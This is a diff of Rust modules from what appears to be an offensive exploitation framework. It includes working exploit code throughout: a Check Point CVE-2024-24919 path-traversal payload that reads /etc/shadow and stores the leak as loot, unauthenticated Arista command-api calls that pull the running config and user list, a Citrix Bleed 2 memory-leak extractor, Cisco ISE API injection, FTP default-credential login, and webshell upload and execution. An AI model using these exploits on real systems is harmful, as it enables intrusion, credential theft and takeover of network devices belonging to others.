@@ -16,7 +16,7 @@ use std::io::{BufRead, BufReader, Write};
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{CheckResult, ModuleInfo, ModuleRank};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{
cfg_prompt_default, cfg_prompt_int_range, cfg_prompt_output_file, cfg_prompt_port,
cfg_prompt_yes_no,
@@ -98,21 +98,7 @@ pub fn info() -> ModuleInfo {
}
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = ctx.target.as_single().unwrap_or("");
let host = sanitize_host(target);
match try_pair(&host, 21, "anonymous", "anonymous").await {
Ok(true) => CheckResult::Vulnerable(format!(
"Anonymous FTP login accepted on {}:21",
host
)),
Ok(false) => CheckResult::NotVulnerable(format!(
"Anonymous login refused on {}:21",
host
)),
Err(e) => CheckResult::Unknown(format!("FTP probe failed on {}:21: {}", host, e)),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("module requires a single-host target")?;
@@ -324,4 +310,4 @@ fn sanitize_host(target: &str) -> String {
t.to_string()
}
crate::register_native_module!(crate::module::Category::Exploits, "ftp/ftp_default_creds", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "ftp/ftp_default_creds", native);
@@ -3,8 +3,8 @@
use anyhow::{Context, Result};
use colored::*;
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{cfg_prompt_port, normalize_target};
const DEFAULT_PORT: u16 = 443;
@@ -26,28 +26,11 @@ pub fn info() -> ModuleInfo {
}
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error("check expects a single-host target".into()) };
let client = match crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS)) {
Ok(c) => c,
Err(e) => return CheckResult::Error(e.to_string()),
};
let url = format!("https://{}/", target.trim_end_matches('/'));
match client.get(&url).send().await {
Ok(r) => {
let server = crate::utils::header_string(r.headers(), "server");
if server.to_lowercase().starts_with("apache") {
return CheckResult::Unknown(format!("Apache detected (mod_ssl bypass not tested): {}", server));
}
}
Err(e) => return CheckResult::Error(format!("request failed: {}", e)),
}
CheckResult::NotVulnerable("Not Apache".to_string())
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("apache_modssl_bypass_cve_2025_23048 requires a single-host target")?;
let outcome = ModuleOutcome::ok();
let mut outcome = ModuleOutcome::ok();
let normalized = normalize_target(target)?;
let port = cfg_prompt_port("port", "HTTPS port", DEFAULT_PORT).await?;
let url = format!("https://{}:{}/", normalized, port);
@@ -57,9 +40,33 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(r) => {
let server = crate::utils::header_string(r.headers(), "server");
crate::mprintln!("{} Server: {}", "[*]".cyan(), server);
if server.to_lowercase().starts_with("apache") {
crate::mprintln!("{}", "[+] Apache fingerprint matched — review mod_ssl config for CVE-2025-23048.".green());
let server_lc = server.to_lowercase();
let is_apache = server_lc.starts_with("apache");
// CVE-2025-23048 only applies when mod_ssl is actually loaded. A bare
// "Apache" Server header matches almost every Apache host on the internet,
// so require an explicit mod_ssl / OpenSSL marker before reporting.
let has_modssl = server_lc.contains("mod_ssl") || server_lc.contains("openssl");
if is_apache && has_modssl {
crate::mprintln!("{}", "[+] Apache mod_ssl fingerprint matched — review TLS 1.3 client-cert config for CVE-2025-23048.".green());
crate::workspace::track_host(&normalized, None, Some(&format!("Apache mod_ssl ({})", server))).await;
// Detection-only fingerprint: mod_ssl is present but the cross-vhost
// client-cert bypass is not actively confirmed here, so record a Note
// rather than asserting the host is exploitable.
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Note,
message: format!(
"Apache mod_ssl detected on {} (Server: {}); manually verify TLS 1.3 client-cert auth across vhosts for CVE-2025-23048",
normalized, server
),
data: Some(serde_json::json!({
"cve": "CVE-2025-23048",
"server": server,
"status": "fingerprint-only/unconfirmed",
})),
});
} else if is_apache {
crate::mprintln!("{}", "[*] Apache detected but no mod_ssl/OpenSSL marker in Server header — not flagging for CVE-2025-23048.".dimmed());
}
}
Err(e) => crate::mprintln!("{} request failed: {}", "[-]".red(), e),
@@ -67,4 +74,4 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/apache_modssl_bypass_cve_2025_23048", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/apache_modssl_bypass_cve_2025_23048", native);
@@ -7,7 +7,7 @@
use anyhow::{Context, Result};
use colored::*;
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
@@ -28,30 +28,7 @@ pub fn info() -> ModuleInfo {
}
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error("check expects a single-host target".into()) };
let client = match crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS)) {
Ok(c) => c,
Err(e) => return CheckResult::Error(e.to_string()),
};
let url = format!("https://{}/eos/rpc", target.trim_end_matches('/'));
match client.get(&url).send().await {
Ok(r) => {
let s = r.status().as_u16();
if s == 200 || s == 401 {
let body = match r.text().await {
Ok(b) => b,
Err(e) => return CheckResult::Error(format!("body decode: {}", e)),
};
if body.contains("Arista") || body.to_lowercase().contains("rpc") {
return CheckResult::Unknown(format!("Arista NGFW RPC reachable (HTTP {})", s));
}
}
}
Err(e) => return CheckResult::Error(format!("request failed: {}", e)),
}
CheckResult::Unknown("Arista RPC not detected".to_string())
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("arista_ngfw_disclose requires a single-host target")?;
@@ -62,36 +39,73 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let base = format!("{}://{}:{}", scheme, normalized, port);
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
.context("HTTP client")?;
match client.get(format!("{}/eos/rpc", base)).send().await {
Ok(r) => {
let s = r.status().as_u16();
let body = r.text().await.context("read body")?;
crate::mprintln!("{} HTTP {} ({})", "[*]".cyan(), s, body.chars().take(120).collect::<String>());
if s == 200 || s == 401 {
crate::workspace::track_host(&normalized, None, Some("Arista NGFW")).await;
outcome.findings.push(Finding {
crate::mprintln!("{} Sending JSON-RPC commands to Arista command-api...", "[*]".blue());
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Arista NGFW detected at {}", normalized),
data: Some(serde_json::json!({
"host": normalized,
"label": "Arista NGFW",
})),
});
let mut leaked = false;
let cmds = ["show version", "show running-config", "show interfaces status", "show users"];
for cmd in &cmds {
let url = format!("{}/command-api", base);
let rpc_body = serde_json::json!({
"jsonrpc": "2.0",
"method": "runCmds",
"params": {"version": 1, "cmds": [cmd], "format": "json"},
"id": "rsploit"
});
match client.post(&url)
.header("Content-Type", "application/json")
.body(rpc_body.to_string())
.send()
.await
{
Ok(r) => {
let status = r.status();
// A read failure here is a transient transport error for THIS command
// (e.g. mid-stream reset / decode error), not a fatal module error.
// `?`-aborting would discard an already-confirmed disclosure (`leaked`)
// and skip remaining commands, so log and continue instead.
let body = match crate::utils::network::read_http_body_text_capped(r, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b,
Err(e) => {
crate::mprintln!("{} '{}' body read failed: {}", "[-]".red(), cmd, e);
continue;
}
};
if status.is_success() && (body.contains("result") || body.contains("version") || body.contains("Arista")) {
crate::mprintln!("{} '{}' returned data:", "[+]".green(), cmd);
match serde_json::from_str::<serde_json::Value>(&body) {
Ok(v) => crate::mprintln!("{:#}", v),
Err(e) => {
crate::mprintln!("{} JSON parse error: {}", "[-]".yellow(), e);
crate::mprintln!("{}", body.chars().take(1000).collect::<String>());
}
}
if !leaked {
leaked = true;
}
} else {
crate::mprintln!("{} '{}' — HTTP {}", "[-]".yellow(), cmd, status);
}
}
Err(e) => crate::mprintln!("{} '{}' failed: {}", "[-]".red(), cmd, e),
}
}
Err(e) => crate::mprintln!("{} request failed: {}", "[-]".red(), e),
if leaked {
crate::workspace::track_host(&normalized, None, Some("Arista NGFW RPC Disclosure")).await;
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Arista NGFW unauth RPC disclosure confirmed on {}", normalized),
data: Some(serde_json::json!({
"host": normalized,
"port": port,
})),
});
} else {
crate::mprintln!("{} No data extracted via command-api. Target may be patched.", "[-]".yellow());
}
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/arista_ngfw_disclose", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/arista_ngfw_disclose", native);
@@ -3,7 +3,7 @@
use anyhow::{Context, Result};
use colored::*;
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
@@ -28,27 +28,7 @@ pub fn info() -> ModuleInfo {
const PROBE_BODY: &str = "aCSHELL/../../../../../../../../etc/shadow";
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error("check expects a single-host target".into()) };
let client = match crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS)) {
Ok(c) => c,
Err(e) => return CheckResult::Error(e.to_string()),
};
let url = format!("https://{}/clients/MyCRL", target.trim_end_matches('/'));
match client.post(&url).body(PROBE_BODY).send().await {
Ok(r) => {
let body = match r.text().await {
Ok(b) => b,
Err(e) => return CheckResult::Error(format!("body decode: {}", e)),
};
if body.contains("root:") || body.contains("daemon:") {
return CheckResult::Vulnerable("Arbitrary file read confirmed (/etc/shadow contents leaked)".to_string());
}
}
Err(e) => return CheckResult::Error(format!("request failed: {}", e)),
}
CheckResult::NotVulnerable("CheckPoint /clients/MyCRL not exploitable here".to_string())
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("checkpoint_fileread_cve_2024_24919 requires a single-host target")?;
@@ -60,43 +40,56 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let base = format!("{}://{}:{}", scheme, normalized, port);
let url = format!("{}/clients/MyCRL", base);
let body = format!("aCSHELL/../../../../../../../../{}", file);
crate::mprintln!("{} {}", "[*] POST".cyan(), url);
crate::mprintln!("{} {}", "[*] payload".dimmed(), body);
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
.context("HTTP client")?;
let resp = client.post(&url).body(body).send().await.context("probe")?;
let s = resp.status().as_u16();
let response = resp.text().await.context("read body")?;
crate::mprintln!("{} HTTP {}", "[*] Response:".cyan(), s);
let preview: String = response.chars().take(800).collect();
crate::mprintln!("{}", preview);
if response.contains("root:") || response.contains("daemon:") {
crate::mprintln!("{}", "[+] Arbitrary file read CONFIRMED.".green().bold());
crate::workspace::track_host(&normalized, None, Some("Check Point CVE-2024-24919")).await;
outcome.findings.push(Finding {
// Build the traversal payloads to POST. We always attempt the canonical
// CVE-2024-24919 /etc/shadow read (PROBE_BODY) since the leaked hashes are
// the highest-value exploitation result, then fall back to any operator
// supplied file path so the module can read arbitrary files.
let mut payloads: Vec<String> = vec![PROBE_BODY.to_string()];
let custom_body = format!("aCSHELL/../../../../../../../../{}", file);
if custom_body != PROBE_BODY {
payloads.push(custom_body);
}
target: normalized.clone(),
for body in payloads {
crate::mprintln!("{} {}", "[*] POST".cyan(), url);
crate::mprintln!("{} {}", "[*] payload".dimmed(), body);
kind: FindingKind::Vulnerable,
let resp = client.post(&url).body(body.clone()).send().await.context("probe")?;
let s = resp.status().as_u16();
let response = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
crate::mprintln!("{} HTTP {}", "[*] Response:".cyan(), s);
let preview: String = response.chars().take(800).collect();
crate::mprintln!("{}", preview);
message: format!("Check Point CVE-2024-24919 detected at {}", normalized),
// /etc/shadow lines look like `root:$6$...` and /etc/passwd like `root:x:`.
let leaked = response.contains("root:") || response.contains("daemon:");
if leaked {
crate::mprintln!("{}", "[+] Arbitrary file read CONFIRMED.".green().bold());
crate::workspace::track_host(&normalized, None, Some("Check Point CVE-2024-24919")).await;
data: Some(serde_json::json!({
"host": normalized,
"label": "Check Point CVE-2024-24919",
})),
});
crate::loot::store_loot(&normalized, "checkpoint_lfi", "CVE-2024-24919 file read",
response.as_bytes(), "exploits/network_infra/checkpoint_fileread_cve_2024_24919").await;
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"Check Point CVE-2024-24919 arbitrary file read at {} via '{}'",
normalized, body
),
data: Some(serde_json::json!({
"host": normalized,
"label": "Check Point CVE-2024-24919",
"payload": body,
"leaked": response.chars().take(4096).collect::<String>(),
})),
});
crate::loot::store_loot(&normalized, "checkpoint_lfi", "CVE-2024-24919 file read",
response.as_bytes(), "exploits/network_infra/checkpoint_fileread_cve_2024_24919").await;
}
}
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/checkpoint_fileread_cve_2024_24919", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/checkpoint_fileread_cve_2024_24919", native);
@@ -10,7 +10,7 @@ use anyhow::{Context, Result};
use colored::*;
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
const DEFAULT_PORT: u16 = 443;
@@ -33,32 +33,7 @@ pub fn info() -> ModuleInfo {
}
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() {
Some(t) => t,
None => return CheckResult::Error("cisco_ise_api_inject_cve_2025_20281 requires a single-host target".to_string()),
};
let client = match crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS)) {
Ok(c) => c,
Err(e) => return CheckResult::Error(e.to_string()),
};
ctx.rate_limit(target).await;
let url = format!("https://{}/admin/login.jsp", target.trim_end_matches('/'));
match client.get(&url).send().await {
Ok(r) => {
let body = match r.text().await {
Ok(b) => b,
Err(e) => return CheckResult::Error(format!("body decode: {}", e)),
};
if body.contains("Identity Services Engine") || body.contains("Cisco ISE") {
CheckResult::Unknown("Cisco ISE login page detected; ERS API likely reachable".to_string())
} else {
CheckResult::NotVulnerable("Not Cisco ISE".to_string())
}
}
Err(e) => CheckResult::Error(e.to_string()),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
@@ -87,7 +62,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
ctx.rate_limit(&normalized).await;
match client.get(&login).send().await {
Ok(r) => {
let body = r.text().await.context("read body")?;
let body = crate::utils::network::read_http_body_text_capped(r, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
if body.contains("Identity Services Engine") || body.contains("Cisco ISE") {
crate::mprintln!("{}", "[+] Cisco ISE detected.".green());
outcome.findings.push(Finding {
@@ -121,7 +96,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.send().await
.context("Injection request failed")?;
let status = resp.status().as_u16();
let body = resp.text().await.context("read body")?;
let body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
crate::mprintln!("{} HTTP {}", "[*] Response:".cyan(), status);
let preview: String = body.chars().take(500).collect();
crate::mprintln!("{}", preview);
@@ -146,4 +121,4 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/cisco/cisco_ise_api_inject_cve_2025_20281", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/cisco/cisco_ise_api_inject_cve_2025_20281", native);
@@ -20,7 +20,7 @@ use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
use crate::cred_store::{store_credential, NewCred, CredType};
@@ -85,10 +85,16 @@ fn extract_leaked_data(body: &[u8]) -> Vec<String> {
for (pattern, description) in &patterns {
if let Some(pos) = text.find(pattern) {
let start = pos;
let end = text[start..]
// `text` is lossy-decoded leaked memory: a raw `start + 128` byte offset
// can land inside a multi-byte UTF-8 char and panic when sliced. Clamp the
// end down to the nearest char boundary before slicing.
let mut end = text[start..]
.find(['\0', '\n', '\r', ';', ' '])
.map(|i| start + i)
.unwrap_or((start + 128).min(text.len()));
while end > start && !text.is_char_boundary(end) {
end -= 1;
}
let token = &text[start..end];
if token.len() > pattern.len() {
findings.push(format!("{}: {}", description, token));
@@ -104,7 +110,12 @@ fn extract_leaked_data(body: &[u8]) -> Vec<String> {
.collect();
for pos in hex_pattern_positions.iter().take(5) {
let end = (*pos + 64).min(text.len());
// `*pos + 64` is an arbitrary byte offset into lossy-decoded leaked memory;
// clamp it down to a char boundary so slicing cannot panic on multi-byte data.
let mut end = (*pos + 64).min(text.len());
while end > *pos && !text.is_char_boundary(end) {
end -= 1;
}
let fragment = &text[*pos..end];
if fragment.len() > 4 {
findings.push(format!("Hex fragment at offset {}: {}", pos, fragment));
@@ -114,60 +125,7 @@ fn extract_leaked_data(body: &[u8]) -> Vec<String> {
findings
}
/// Non-destructive vulnerability check.
/// Sends a normal request to the auth endpoint to verify it exists.
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() {
Some(t) => t,
None => return CheckResult::Error("cve_2025_5777_citrixbleed2 requires a single-host target".to_string()),
};
let client = match build_client() {
Ok(c) => c,
Err(e) => return CheckResult::Error(format!("Failed to build HTTP client: {}", e)),
};
let url = format!("https://{}:{}{}", target, DEFAULT_PORT, VULN_ENDPOINT);
ctx.rate_limit(target).await;
match client
.post(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body("login=test&passwd=test")
.send()
.await
{
Ok(resp) => {
let status = resp.status();
if status.as_u16() == 404 {
CheckResult::NotVulnerable(
"Authentication endpoint not found (404). Not a Citrix NetScaler."
.to_string(),
)
} else if status.is_success()
|| status.as_u16() == 302
|| status.as_u16() == 401
|| status.as_u16() == 403
{
CheckResult::Vulnerable(format!(
"Authentication endpoint exists (HTTP {}). Target may be vulnerable to CVE-2025-5777.",
status
))
} else {
CheckResult::Unknown(format!(
"Endpoint returned HTTP {}. Manual verification recommended.",
status
))
}
}
Err(e) => {
if e.is_timeout() {
CheckResult::Unknown("Connection timed out - target may be unreachable".to_string())
} else {
CheckResult::Unknown(format!("Could not connect to target: {}", e))
}
}
}
}
/// Main exploit entry point.
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
@@ -224,7 +182,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
bail!("Target is not a Citrix NetScaler ADC/Gateway");
}
let probe_body = probe_resp.bytes().await.context("Failed to read probe response")?;
let probe_body = crate::utils::safe_io::read_http_body_capped(probe_resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("Failed to read probe response")?;
let baseline_len = probe_body.len();
crate::mprintln!(
"{}",
@@ -257,8 +215,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.context("Failed to send exploit payload")?;
let status = exploit_resp.status();
let body_bytes = exploit_resp
.bytes()
let body_bytes = crate::utils::safe_io::read_http_body_capped(exploit_resp, crate::utils::safe_io::DEFAULT_BODY_CAP)
.await
.context("Failed to read exploit response")?;
@@ -400,4 +357,4 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/citrix/cve_2025_5777_citrixbleed2", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "network_infra/citrix/cve_2025_5777_citrixbleed2", native);
@@ -238,7 +238,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.context("Upload request failed")?;
let upload_status = upload_resp.status().as_u16();
let upload_body = upload_resp.text().await.context("Failed to read upload response body")?;
let upload_body = crate::utils::network::read_http_body_text_capped(upload_resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("Failed to read upload response body")?;
crate::mprintln!("{}", format!("[*] Upload HTTP {}", upload_status).cyan());
if !upload_body.is_empty() {
@@ -260,7 +260,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.context("Failed to reach deployed webshell")?;
let exec_status = exec_resp.status().as_u16();
let exec_body = exec_resp.text().await.context("Failed to read webshell response body")?;
let exec_body = crate::utils::network::read_http_body_text_capped(exec_resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("Failed to read webshell response body")?;
crate::mprintln!("{}", format!("[*] Webshell HTTP {}", exec_status).cyan());

Some files were not shown because too many files have changed in this diff Show More